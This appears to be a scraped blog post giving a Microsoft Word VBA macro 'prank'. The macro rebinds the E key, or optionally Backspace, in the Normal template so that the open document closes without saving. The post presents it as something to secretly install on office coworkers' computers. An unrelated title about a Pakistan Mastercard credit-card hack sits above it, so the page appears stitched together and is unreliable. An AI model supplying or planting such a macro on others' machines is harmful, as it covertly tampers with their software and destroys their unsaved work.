Pakistan Mastercard Hack Credit Card 2022 Exp

Remap ‘E’ Key to close Microsoft Word Prank

Well you have all in your life have once in your whole life have used Microsoft Word,

 

Its the most used in Offices , look this post displays a prank just to hack aka reprogram the Microsoft Word to Kill its procedure when Anyone  Hit ‘E’ Key.

 MS-Word

This computer prank will drive your office friends crazy. So hell lets do it right?

 

Steps :-

Step 1: Open up Microsoft Word

 

Step2: Press alt F11, this will open up a vba editor for word.

 

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

 

Step4: Copy and past this code into the document.

Sub AddKeyBinding()
CustomizationContext = NormalTemplate

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _

Command:="TestKeybinding"

End Sub

Sub TestKeybinding()

Dim x As Document

Set x = ActiveDocument

x.Close (False)

End Sub


Step5: Close word.

 

Step6: Enjoy.

 

NOTE : You can change the key to anything you like and below I have listed some different key options

More !!

If you want to change the key used to close the program, then its really very easy,

just change this small piece of code from the following code :-

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

so you want more !!

you can even use “Backspace Key” , now any person even Bill Gates uses Backspace key in his life so there will be more possibility of this one,

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyBackspace)

Adding-Logo-To-Word-2007-Envelop

Happy Hacking @hackerthedude

Nhận xét